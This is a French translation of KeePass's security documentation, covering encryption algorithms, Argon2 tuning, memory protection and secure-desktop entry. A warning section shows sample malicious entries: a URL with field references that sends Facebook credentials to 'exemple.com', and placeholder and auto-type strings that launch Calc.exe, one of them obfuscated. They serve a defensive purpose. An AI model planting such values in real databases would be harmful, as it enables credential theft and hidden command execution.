La sécurité

Verrouillé

La sécurité

Informations détaillées sur la sécurité de KeePass.

Le chiffrement de la base de données

Les fichiers de base de données de KeePass sont chiffrés. KeePass chiffre toute la base de données, c'est-à-dire non seulement vos mots de passe, mais également vos noms d'utilisateurs, adresses (URL), remarques, etc.

Les algorithmes de chiffrement suivants sont pris en charge :

KeePass 1.x :

Algorithme	Taille de la clé	Norme/Réf.
Advanced Encryption Standard (AES/Rijndael)	256 bits	NIST FIPS 197
Twofish	256 bits	Info

KeePass 2.x :

Algorithme	Taille de la clé	Norme/Réf.
Advanced Encryption Standard (AES/Rijndael)	256 bits	NIST FIPS 197
ChaCha20	256 bits	RFC 7539
Il existe différents greffons prenant en charge des algorithmes de chiffrement supplémentaires, y compris, mais sans s'y limiter, Twofish, Serpent et GOST.

Ces algorithmes bien connus et analysés en profondeur sont considérés comme très sécurisés. AES (Rijndael) est devenue une norme du gouvernement fédéral américain et est approuvée par la National Security Agency (NSA) pour les informations les plus secrètes (top secret). Twofish était l'un des quatre autres finalistes de l'AES. ChaCha20 est le successeur de l'algorithme Salsa20 (qui est inclus dans le portefeuille eSTREAM).

Les chiffrements par blocs sont utilisés dans le mode de chiffrement par blocs CBC (Cipher Block Chaining). En mode CBC, les modèles de texte en clair sont masqués.

Un vecteur d'initialisation (IV) est généré de manière aléatoire chaque fois qu'une base de données est enregistrée. Ainsi, plusieurs bases de données chiffrées avec la même clé principale (par exemple : des sauvegardes) ne posent aucun problème.

L'authenticité et l'intégrité des données :

L'authenticité et l'intégrité des données sont assurées par un hachage SHA-256 du texte en clair.

Le hachage de clé et la dérivation de clé

SHA-256 est utilisé pour compresser les composants de la clé principale (consistant en un mot de passe maître, un fichier clé, une clé de compte utilisateur Windows et/ou une clé fournie par un greffon) en une clé K de 256 bits.

SHA-256 est une fonction de hachage cryptographique considérée comme très sécurisée. Elle a été normalisée par le NIST FIPS 180-4. L'attaque contre SHA-1 découverte en 2005 n'affecte pas la sécurité de SHA-256.

Afin de générer la clé de l'algorithme de chiffrement, K est transformée à l'aide d'une fonction de dérivation de clé (avec un sel aléatoire). Cela évite le précalcul des clés et rend plus difficiles les attaques par dictionnaire et par devinettes. Pour plus de détails, cf. la section 'la protection contre les attaques par dictionnaire'.

La protection contre les attaques par dictionnaire

KeePass offre une protection contre les attaques par dictionnaire et devinettes.

De telles attaques ne peuvent pas être évitées, mais elles peuvent être rendues plus difficiles. Pour cela, la clé K dérivée de la clé principale de l'utilisateur (cf. ci-dessus) est transformée à l'aide d'une fonction de dérivation de clé avec un sel aléatoire. Cela évite un précalcul des clés et ajoute un facteur de travail que l'utilisateur peut rendre aussi grand que souhaité pour augmenter l'effort de calcul d'une attaque par dictionnaire ou devinette.

Des fonctions de dérivation de clé multiple sont prises en charge. Dans la boîte de dialogue des paramètres de la base de données, vous pouvez en sélectionner une et spécifier certains paramètres pour elle.

En cliquant sur le bouton 'Délai d'une seconde' dans les paramètres de la boîte de dialogue de la base de données, KeePass calcule le nombre d'itérations qui résulte en un délai d'une seconde quand on charge/enregistre une base de données. De plus, KeePass 2.x possède un bouton 'Test' qui accomplit une transformation de clé avec les paramètres spécifiés (ce qui peut être annulé) et rend le temps requis.

La clé de transformation peut nécessiter plus ou moins de temps sur d'autres appareils. Si vous utilisez KeePass ou un de ses portages sur d'autres appareils, alors assurez-vous que tous les appareils sont assez rapides (et ont suffisamment de mémoire) pour charger la base de données avec vos paramètres en un temps acceptable.

Les fonctions de dérivation de clé prises en charge :

AES-KDF (KeePass 1.x et 2.x) :
Cette fonction de dérivation de clé est basée sur l'itération d'AES.
Dans la boîte de dialogue des paramètres de la base de données, vous pouvez modifier le nombre d'itérations. Plus il y a d'itérations, et plus les attaques par dictionnaire et devinettes sont difficiles, mais le chargement/la sauvegarde de la base de données prend également plus de temps (linéairement). Sur Windows Vista et les versions ultérieures, KeePass peut utiliser l'API CNG/BCrypt de Windows pour la transformation de clé, ce qui est approximativement 50 % plus rapides que le code de transformation de clé intégré dans KeePass.
Argon2 (uniquement KeePass 2.x) :
Argon2 est le gagnant du concours de hachage de mots de passe. Le principal avantage d'Argon2 par rapport à AES-KDF est qu'il offre une meilleure résistance contre les attaques par GPU/ASIC (en raison de sa fonction mémoire en dure). Le nombre d'itérations varie linéairement avec le temps requis.

La spécification officielle de l'algorithme Argon2 définit trois variantes : Argon2d, Argon2id et Argon2i. Argon2i est la variante la moins adaptée dans notre cas (fichier de base de données KeePass) ; par conséquent, KeePass ne propose que Argon2d et Argon2id.

Argon2d offre la meilleure résistance aux attaques GPU/ASIC. La résistance d'Argon2id contre les attaques GPU/ASIC est un peu plus faible, mais Argon2id rend en outre certaines attaques par canaux latéraux légèrement plus difficiles.

Les attaques par canaux latéraux tentent d'obtenir des informations d'un système en observant son comportement (par exemple : la durée et la consommation d'énergie de certaines opérations). Sur les serveurs, les attaques par canaux latéraux sont une réelle menace. Sur les appareils clients (PC), les attaques par canal latéral sont plus difficiles (plus de bruit, etc.) ; il y a des idées sur la façon dont certains pourraient fonctionner en théorie, mais nous ne sommes au courant d'aucune attaque réelle dans la pratique. Par exemple : l'attaque décrite dans l'article 'The Spy in the Sandbox / Side-Channel Attacks in Web Browsers' était intéressante (le code JavaScript était capable de détecter certaines interactions de l'utilisateur), mais pas une menace réelle (pas d'extraction de données sensibles, comme mentionné explicitement dans l'article). Cela peut ou peut ne pas changer à l'avenir. Notez que cela n'a rien à voir avec le stockage en nuage ; KeePass chiffre/déchiffre un fichier de base de données sur un appareil client, et donc peu importe où le fichier de base de données est stocké (pour les attaques par canal latéral). De plus, il existe des attaques par canal latéral contre lesquelles ni Argon2d ni Argon2id (ni Argon2i, ni aucune autre fonction de dérivation de clé) ne protègent (par exemple : les attaques par canal latéral Spectre/Meltdown, qui permettent aux logiciels espions de lire toute la mémoire).

Dans le cas de KeePass, nous recommandons actuellement Argon2d au lieu d'Argon2id, car nous pensons qu'une meilleure protection contre une menace réellement existante (le casse de mots de passe à l'aide de GPU/ASIC est l'état de l'art) est plus importante qu'une protection contre certaines attaques par canal latéral qui peuvent ou non devenir un problème sur les appareils clients à l'avenir. Si vous vous inquiétez des attaques par canaux latéraux (et êtes prêt à sacrifier une certaine résistance GPU/ASIC) ou si vous développez un logiciel où les attaques par canaux latéraux pourraient poser problème (par exemple : un service de serveur qui fonctionne avec les fichiers de base de données KeePass), utilisez Argon2id.

Remarque : la norme Internet IRTF CFRG Argon2 recommande Argon2id par défaut. Pour les applications serveur, Argon2id est en général en effet plus adapté qu'Argon2d, mais notre situation (appareil client) est différente, comme mentionné ci-dessus.

Le nombre d'itérations évolue linéairement avec le temps requis. En augmentant le paramètre de mémoire, les attaques GPU/ASIC deviennent plus difficiles (et le temps requis augmente). Le paramètre parallélisme spécifie le nombre de threads à utiliser.

Nous recommandons la procédure suivante pour déterminer les paramètres Argon2 :

Définissez le nombre d'itérations sur 2 :
Découvrez la taille de la mémoire vive de chacun de vos appareils sur lesquels vous souhaitez ouvrir votre fichier de base de données. Soit M le minimum de ces tailles. Réglez le paramètre de mémoire sur min(M/2, 1 Go) (c'est-à-dire utilisez la moitié de M, si elle est inférieure à 1 Go, sinon utilisez 1 Go).

Exemple 1 : si vous avez un PC avec 32 Go de RAM et un téléphone mobile avec 1 Go de RAM (sur lequel vous souhaitez ouvrir votre fichier de base de données), réglez le paramètre de mémoire sur 500 Mo.
Exemple 2 : si vous avez un PC avec 32 Go de RAM et un PC avec 8 Go de RAM, réglez le paramètre de mémoire sur 1 Go.

Sur Windows 10 et versions ultérieures, la taille de la RAM peut être trouvée dans les paramètres système → 'Système' → 'À propos'.

Découvrez le nombre de processeurs logiques de chacun de vos appareils. Réglez le paramètre de parallélisme au minimum de ces nombres. Sur Windows 10 et versions ultérieures, le nombre de processeurs logiques peut être trouvé dans le Gestionnaire des tâches (clic droit sur la barre des tâches → 'Gestionnaire des tâches') sur la page de l'onglet 'Performances'.
Cliquez sur le bouton 'Test'.

Si la transformation de clé prend trop de temps (plus longtemps que vous n'êtes prêt à attendre lors de l'ouverture/enregistrement du fichier de base de données, par exemple : plus d'une seconde), alors annulez-la, diminuez le paramètre de mémoire et cliquez à nouveau sur le bouton 'Test'. Répétez cette opération jusqu'à ce que le temps requis soit acceptable.
Si la transformation de clé prend trop peu de temps (dans le cas d'une mémoire de 1 Go), alors augmentez le nombre d'itérations et cliquez à nouveau sur le bouton 'Test'. Répétez cette opération jusqu'à ce que vous aimiez le temps requis.

Enregistrez le fichier de base de données et essayez de l'ouvrir sur chacun de vos autres appareils. Si cela prend trop de temps sur l'un des appareils, alors diminuez le nombre d'itérations (recommandation : pas moins de 2) et/ou diminuez le paramètre de mémoire, et réessayez.

Lorsque vous cliquez sur le bouton 'Délai d'une seconde', KeePass utilise une stratégie différente pour déterminer les paramètres (des valeurs relativement faibles pour les paramètres de mémoire et de parallélisme, un nombre d'itérations relativement élevé), car KeePass ne connaît pas les détails de la RAM et du processeur de vos autres appareils (les valeurs par défaut doivent être compatibles avec la plupart des appareils). Si vous connaissez ces détails, alors il est recommandé de plutôt suivre la procédure ci-dessus.

Argon2 sur iOS : si vous utilisez une application compatible KeePass sur iOS, alors veuillez noter la limitation suivante d'iOS. Si l'application utilise beaucoup de RAM (par exemple, en raison de l'utilisation d'Argon2 avec un paramètre de mémoire important), alors le remplissage automatique peut ne pas fonctionner. Dans ce cas, nous recommandons d'utiliser une valeur relativement faible pour le paramètre de mémoire Argon2 (64 Mo ou moins, selon l'application et la taille de la base de données) et un nombre d'itérations relativement élevé.

KeePassX : contrairement à KeePass, le portage Linux KeePassX ne prend en charge que partiellement la protection contre les attaques par dictionnaires et devinette.

La génération de nombres aléatoires

KeePass commence par créer un pool d'entropie à l'aide de différentes sources d'entropie (y compris des nombres aléatoires générés par le fournisseur cryptographique du système, la date/heure courante et la disponibilité, la position du curseur, la version du système d'exploitation, le nombre de processeurs, les variables d'environnement, les statistiques de processus et de mémoire, la culture actuelle, un nouveau GUID aléatoire, etc.). Les informations de culture comportent par exemple le nom de la langue, le type de calendrier, le format des nombres et la disposition du clavier.

Les bits aléatoires pour les méthodes de génération de haut niveau sont générés à l'aide d'un générateur de nombres pseudo-aléatoires sécurisé de façon cryptographique (basé sur SHA-256/SHA-512 et ChaCha20) qui est initialisé à l'aide du pool d'entropie.

La protection de la mémoire du processus

Pendant l'exécution de KeePass, les données sensibles sont stockées de manières chiffrées dans la mémoire du processus. Cela signifie que même si vous vidiez la mémoire du processus KeePass sur le disque, vous ne pourriez trouver aucune donnée sensible. Pour des raisons de performance, la protection de la mémoire du processus s'applique uniquement aux données sensibles ; les données sensibles incluent ici, par exemple, la clé principale et les mots de passe des entrées, mais pas les noms d'utilisateur, les remarques et les pièces jointes. Remarquez que cela n'a rien à voir avec le chiffrement des fichiers de base de données ; dans les fichiers de base de données, toutes les données (y compris les noms d'utilisateur, etc.) sont chiffrées.

De plus, KeePass efface toute la mémoire critique pour la sécurité (si possible) quand elle n'est plus nécessaire, c'est-à-dire qu'il écrase ces zones de mémoire avant de les libérer.

KeePass utilise Windows DPAPI pour chiffrer des données sensibles en mémoire (via CryptProtectMemory/ProtectedMemory). Avec DPAPI, la clé pour le chiffrement de la mémoire est stockée dans une zone de mémoire sécurisée, non permutable gérée par Windows. DPAPI est disponible sur Windows 2000 et supérieur. KeePass 2.x utilise toujours DPAPI lorsqu'il est disponible ; dans KeePass 1.x, cela peut être désactivé (dans les options avancées ; par défaut, DPAPI est activé ; s'il est désactivé, KeePass 1.x utilise l'algorithme de chiffrement ARC4 avec une clé aléatoire ; remarquez qu'il est moins sécurisé que DPAPI, principalement non pas parce que le chiffrement d'ARC4 est moins puissant, mais parce que la clé pour le chiffrement de la mémoire est également stockée dans une mémoire de processus permutable ; de même, KeePass 2.x a recours au chiffrement de la mémoire du processus à l'aide de ChaCha20, si DPAPI n'est pas disponible). Sur les systèmes Unix-like, KeePass 2.x utilise ChaCha20, car Mono ne fournit aucune méthode efficace de protection de la mémoire.

Pour certaines opérations, KeePass doit mettre les données sensibles à disposition de manières déchiffrées dans la mémoire du processus. Par exemple, pour afficher un mot de passe dans le contrôle d'affichage de liste standard fourni par Windows, KeePass doit fournir le contenu de la cellule (le mot de passe) sous forme de chaîne non chiffrée (sauf si le masquage à l'aide d'astérisques est activé). Les opérations qui aboutissent à des données déchiffrées dans la mémoire de processus incluent, sans toutefois s'y limiter : l'affichage de données (pas d'astérisque) dans les contrôles standards, la recherche de données, le remplacement des paramètres substituables (lors de la saisie automatique, le glisser-déposer, la copie dans le presse-papiers, etc.), l'importation/exportation de fichiers (sauf KDBX) et le chargement/enregistrement de fichiers non chiffrés. Windows et .NET peuvent créer des copies des données (dans la mémoire du processus) qui ne peuvent pas être effacées par KeePass.

La saisie de la clé principale sur un bureau sécurisé (protection contre les enregistreurs de frappe)

KeePass 2.x possède une option (dans 'Outils' → 'Options...' → onglet 'Sécurité') pour afficher des boîtes de dialogue de clé principale sur un bureau différent/sécurisé (pris en charge sous Windows 2000 et supérieur), similaire au contrôle de compte utilisateur de Windows (UAC). Presque aucun enregistreur de frappe ne fonctionne sur un bureau sécurisé.

L'option est désactivée par défaut pour des raisons de compatibilité.

Vous trouverez plus d'informations sur la page d'aide du bureau sécurisé.

Remarque : KeePass a été l'un des premiers gestionnaires de mots de passe permettant d'entrer la clé principale sur un bureau différent/sécurisé !

Le verrouillage de l'espace de travail

Lors du verrouillage de l'espace de travail, KeePass ferme le fichier de la base de données et ne mémorise que son chemin et certains paramètres d'affichage.

Cela offre une sécurité maximale : déverrouiller l'espace de travail est aussi difficile que l'ouverture normale du fichier de la base de données. En outre, cela évite la perte de données (l'ordinateur peut se bloquer lorsque KeePass est verrouillé, sans endommager la base de données).

Lorsqu'une sous-boîte de dialogue est ouverte, l'espace de travail peut ne pas être verrouillé ; pour plus de détails, cf. la FAQ.

Affichage/Édition de pièces jointes

KeePass 2.x possède un afficheur/éditeur interne pour les pièces jointes. Pour plus d'informations sur son utilisation pour travailler avec des textes, reportez-vous à la section 'Comment stocker et travailler avec de grandes quantités de texte (formaté) ? '.

L'afficheur/éditeur interne travaille avec les données dans la mémoire principale. Il n'extrait/ne stocke pas les données sur le disque.

Lorsque vous essayez d'ouvrir une pièce jointe que l'afficheur/éditeur interne ne peut pas manipuler (par exemple : un fichier PDF), KeePass extrait la pièce jointe dans un fichier temporaire (chiffré en EFS) et l'ouvre à l'aide de l'application par défaut associée à ce type de fichier. Une fois l'afficheur/édition terminé, l'utilisateur peut choisir d'importer ou annuler toute modification apportée au fichier temporaire. Dans tous les cas, KeePass efface ensuite en toute sécurité le fichier temporaire (y compris l'écrase).

Les greffons (plug-in)

Une page distincte existe sur : la sécurité des greffons.

Les autotests

À chaque fois que vous démarrez KeePass, le programme effectue un rapide autotest pour vérifier si les algorithmes de chiffrement et de hachage fonctionnent correctement et passent leurs vecteurs de test. Si l'un des algorithmes ne réussit pas ses vecteurs de test, alors KeePass affiche une boîte de dialogue d'exception de sécurité.

Les logiciels espions spécialisés

Cette section donne des réponses aux questions suivantes :

Est-ce que le chiffrement du fichier de configuration renforcerait-il la sécurité en empêchant des modifications par un programme malveillant ?
Est-ce que le chiffrement de l'application (fichier exécutable, éventuellement associé au fichier de configuration) renforcerait-il la sécurité en empêchant toute modification par un programme malveillant ?
Est-ce qu'une option permettant d'empêcher le chargement de greffons renforcerait-elle la sécurité ?
Est-ce que l'enregistrement des options de sécurité dans la base de données (pour remplacer les paramètres de l'instance KeePass) renforcerait-il la sécurité ?
Est-ce que verrouiller la fenêtre principale de sorte que seule la saisie automatique soit autorisée renforcerait-il la sécurité ?

La réponse à toutes ces questions est : non. L'ajout de l'une de ces fonctionnalités ne renforcerait pas la sécurité.

Toutes les fonctionnalités de sécurité de KeePass protègent contre les menaces génériques comme les enregistreurs de frappe, les moniteurs de presse-papiers, les moniteurs de contrôle de mot de passe, etc. (et contre les attaques hors exécution sur la base de données, analyseurs de dump mémoire, etc.). Cependant, dans toutes les questions ci-dessus, nous supposons qu'un programme espion malveillant est en cours d'exécution sur le système et qu'il est spécialisé dans l'attaque de KeePass.

Dans cette situation, les meilleures fonctionnalités de sécurité échoueront. Il s'agit de la loi n° 1 des dix lois immuables de la sécurité (article de Microsoft TechNet ; cf. l'article de Microsoft TechNet revoir les 10 lois immuables de la sécurité, première partie) :
"Si un méchant type peut vous persuader de lancer son programme sur votre ordinateur, ce n'est plus votre ordinateur".

Par exemple, considérons le logiciel espion très simple suivant, spécialisé pour KeePass : une application qui attend le démarrage de KeePass, puis masque l'application démarrée et imite KeePass lui-même. Toutes les interactions (telle que la saisie d'un mot de passe pour déchiffrer la configuration, etc.) peuvent être simulées. La seule façon de découvrir ce logiciel espion consiste à utiliser un programme qu'il ignore ou ne peut pas manipuler (bureau sécurisé) ; dans tous les cas, il ne peut s'agir de KeePass.

Pour protéger votre PC, nous vous recommandons d'utiliser un logiciel antivirus. D'utiliser un pare-feu approprié, exécutez le logiciel uniquement à partir de sources fiables, n'ouvrez pas les pièces jointes inconnues, etc.

Les données malveillantes

L'utilisateur devrait vérifier toutes les données qu'il saisit et/ou exécute.

Si vous saisissez/exécutez des données sans d'abord les vérifier, cela peut amener à de sérieux problèmes de sécurité (comme la divulgation de données sensibles ou une exécution de code malveillant). Il s'agit d'un principe général ; il s'applique à la plupart des applications, pas seulement à KeePass.

Exemples :

Le champ Adresse (URL) d'une entrée prend en charge l'exécution d'une ligne de commande. Donc, si vous (saisissez et) exécutez une adresse (URL) sans d'abord la vérifier, alors vous pourriez exécuter un programme/code malveillant.
En exécutant une adresse (URL), une malveillante adresse (URL) remplacée (globale ou spécifique à l'entrée) peut être exécutée à la place, si vous ne la vérifiez pas.
KeePass prend en charge les paramètres substituables (placeholders). Tous les paramètres substituables réguliers sont sous la forme '{...}', et les variables d'environnement sont sous la forme '%...%'. Toutes les données devraient être vérifiées pour des paramètres substituables et des variables d'environnement malveillants.

Les références de champ peuvent insérer les données d'autres entrées dans la donnée courante. Par exemple : si vous avez un compte Facebook, saisir et exécuter l'adresse (URL) suivante pourrait envoyer votre nom d'utilisateur et mot de passe Facebook au serveur 'exemple.com' :
https://exemple.com/?u={REF:U@T:Facebook}&p={REF:P@T:Facebook}
Le paramètre substituable {CMD:...} exécute une ligne de commande. Par exemple, l'adresse (URL) suivante ouvre 'https://exemple.com/' et exécute 'Calc.exe' :
https://exemple.com/{CMD:/Calc.exe/W=0/}

Les paramètres substituables de transformation de texte peuvent être utilisés pour obfusquer des parties des données.

La séquence de saisie automatique suivante accomplie une connexion à un login (ouverture de session) et exécute en outre 'Calc.exe' :
{USERNAME}{TAB}{PASSWORD}{ENTER}{VKEY 91}{T-CONV:/%43%61%6C%63%2E%65%78%65/Uri-Dec/}{VKEY 13}
Cette séquence ne fonctionne typiquement que sur un système Windows, mais des séquences similaires peuvent être construites pour d'autres systèmes d'exploitation (comme Linux et MacOS).
Si vous spécifiez des paramètres de transformation de clé faibles suggérés par un attaquant, cela pourrait être plus facile pour l'attaquant de déchiffrer/ouvrir votre base de données.
Si vous saisissez/utilisez un profil du générateur de mot de passe (suggéré par un attaquant) qui autorise seulement des mots de passe faibles, alors les comptes utilisant de tels mots de passe peuvent ne pas être bien protégés.
En utilisant la fonctionnalité de remplacement XML avec des paramètres malveillants peut induire à une modification malveillante des données de votre base de données.
Copier/saisir des déclencheurs malveillants dans la boîte de dialogue sans vérifier qu'ils peuvent induire des problèmes de sécurité.

Si l'utilisateur vérifie que les données qu'il entre/exécute, aucune des "attaques" ci-dessus fonctionne. Saisir des données est une opération manuelle (c'est-à-dire qu'un attaquant ne peut pas le faire lui-même), et seulement l'utilisateur peut décider si les effets produits sont prévus ou non. Afficher des boîtes de dialogue d'avertissement/confirmation tout le temps ne serait pas raisonnable.

Quand on ouvre une base de données qui a été créée/modifiée par quelqu'un d'autre, vous devriez vérifier avec attention toutes les données que vous souhaitez utiliser. Si vous ne faites pas entièrement confiance au créateur de la base de données, alors n'ouvrez pas une pièce jointe d'une entrée.

Les options pour les experts

La plupart des options de sécurité peuvent être configurées dans la boîte de dialogue des options de KeePass (menu 'Outils' → 'Options...') et dans la boîte de dialogue des paramètres de la base de données (menu 'Fichier' → 'Paramètres de la base de données...').

Cependant, dans KeePass 2.x, il existe en outre quelques options de sécurité pour les experts qui ne peuvent pas être configurées dans l'interface utilisateur. Par exemple, KeePass peut protéger son processus avec une liste de contrôle d'accès discrétionnaire (DACL), et ses fenêtres peuvent être protégées contre certaines opérations de capture d'écran.

L'activation de ces options pour les experts peut entraîner des problèmes de compatibilité et rendre KeePass inutilisable. Par conséquent, ces options ne peuvent être activées qu'en éditant le fichier de configuration manuellement (à l'aide d'un éditeur XML ou de texte). Cela garantit que les utilisateurs savent comment ils peuvent désactiver les options problématiques (en éditant à nouveau le fichier de configuration) afin de rendre KeePass utilisable à nouveau.

Si vous savez comment fonctionne le système de configuration de KeePass, alors consultez la page d'aide personnalisation, sur laquelle ces options sont documentées.

Les options pour les administrateurs

Les administrateurs peuvent imposer certains paramètres, interdire certaines fonctions, spécifier des exigences pour les mots de passe maîtres, et bien plus encore. Vous trouverez des détails sur les pages d'aide suivantes :

Les problèmes de sécurité

Pour obtenir une liste des problèmes de sécurité, leur statut et leurs clarifications, veuillez-vous reporter à la page problèmes de sécurité.